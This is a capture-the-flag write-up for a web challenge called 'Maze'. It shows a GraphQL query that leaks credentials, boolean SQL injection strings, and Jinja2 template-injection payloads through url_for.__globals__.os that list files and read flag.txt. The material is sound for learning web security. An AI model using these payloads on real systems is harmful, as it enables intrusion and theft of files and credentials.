Maze

Given

maze corparate just started a new trading platform, let's hope its secure because I got all my funds over there

EU instance (link)

US instance (link)

author: pop_eax

Analysis

Looking at the linked page shows that sql injection on the login does not seem to work.

Checking robots.txt gives us.

/sup3r_secr37_@p1

Heading there gives us a graphiql endpoint.

The graphiql endpoint doesn't seem to be open for sql injections either.

After looking at the schema and trying to extract all the information we ended up with the following query:

{
  allTraders(first: 10) {
    edges {
      node {
        coins(first: 10) {
          edges {
            node {
              title
              password
            }
          }
        }
      }
    }
  }
}

which returned:

{
  "data": {
    "allTraders": {
      "edges": [
        {
          "node": {
            "coins": {
              "edges": [
                {
                  "node": {
                    "title": "XFT",
                    "password": "iigvj3xMVuSI9GzXhJJWNeI"
                  }
                }
              ]
            }
          }
        }
      ]
    }
  }
}

Logging in with XFT/iigvj3xMVuSI9GzXhJJWNeI works and gives us a page with three different subpages and a link to /admin.

The subpages have a query string http://207.180.200.166:9000/trade?coin=xft

Trying out xft' and 1=1-- seem to work, while xft' and 1=2-- does not.

Sql injection time!

Through sql injection we mapped out the database and found the admin table, with the username / pw admin/p0To3zTQuvFDzjhO9.

We log in with those credentials and end up on a page that is mocking our presence.

mocking

The word skid is also set in the cookie called name. There doesn't seem to be anywhere in the client side code that actually gets the cookie. Making us think that the variable is parsed server side through some templating engines.

After a LOT of trial and error we finally found a templating language that seemed to fit the bill. By sending {{self.__class__}} as the cookie we identified that the server was running jinja2 for templating. Now that we know it is python we wanted to look for popular web servers, we tried to look for standard flask functions like g, config and url_for. We found all of them.

Now it was finally time for the exploit.

Implementation

Knowing that url_for give us access to __globals__ we could easily use that to list the current directory with

{{ url_for.__globals__.os.listdir('./') }}

which responded with

['app.py', 'static', 'templates', 'note', 'flag.txt', 'requirements.txt', 'coins.db', 'wsgi.py', 'Dockerfile', 'run.sh', '__pycache__', 'sandbox']

flag.txt seems relevant!

{{ url_for.__globals__.os.__builtins__.open('flag.txt').read() }}
flag{u_35c@p3d_7h3_m@z3_5ucc3ssfu77y9933}

Flag found! flag{u_35c@p3d_7h3_m@z3_5ucc3ssfu77y9933}